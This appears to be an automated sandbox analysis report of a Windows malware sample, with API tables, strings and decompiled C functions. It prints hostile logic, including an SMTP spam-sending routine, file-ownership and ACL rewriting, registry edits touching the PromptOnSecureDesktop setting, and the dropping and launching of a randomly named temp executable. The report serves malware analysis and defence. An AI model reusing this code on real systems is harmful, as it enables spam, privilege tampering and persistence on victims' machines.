0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

ehlo %s, xrefs: 0040A7F5
., xrefs: 0040A8CA
mail from:<%s>, xrefs: 0040A848
ESMTP, xrefs: 0040AA38
localcfg, xrefs: 0040AB0B
Too small respons, xrefs: 0040A9C9
Too big smtp respons (%d bytes), xrefs: 0040A9B1
quit, xrefs: 0040A86C
Incorrect respons, xrefs: 0040AB39
helo %s, xrefs: 0040A803
data, xrefs: 0040A85E
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
rcpt to:<%s>, xrefs: 0040A855
AUTH LOGIN, xrefs: 0040A80C

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 022B7A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 022B7A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 022B7AB6
GetLengthSid.ADVAPI32(?), ref: 022B7AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 022B7AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 022B7B08
EqualSid.ADVAPI32(?,?), ref: 022B7B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 022B7B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 022B7B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 022B7B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 022B7B60
LocalFree.KERNEL32(00000000), ref: 022B7B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 022B7B83
GetAce.ADVAPI32(?,?,?), ref: 022B7BB3
EqualSid.ADVAPI32(?,?), ref: 022B7BDA
DeleteAce.ADVAPI32(?,?), ref: 022B7BF3
EqualSid.ADVAPI32(?,?), ref: 022B7C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 022B7C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 022B7CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 022B7CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 022B7CC9
LocalFree.KERNEL32(00000000), ref: 022B7CD7

Strings

D, xrefs: 022B7AAC

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: ec9cfbf21bd0d6e508d67d159e0eef9e67d223d190fe3b89c384c3e61c4fe190
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: EE814C72D1021AAFDB22CFE4DD84FEEBBB8AF48385F14806AE505E6150DB758641CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

localcfg, xrefs: 00408348
PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,73B74F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,73B74F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

ps, xrefs: 00402CC7

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: ps
API String ID: 1639031587-3878219058
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
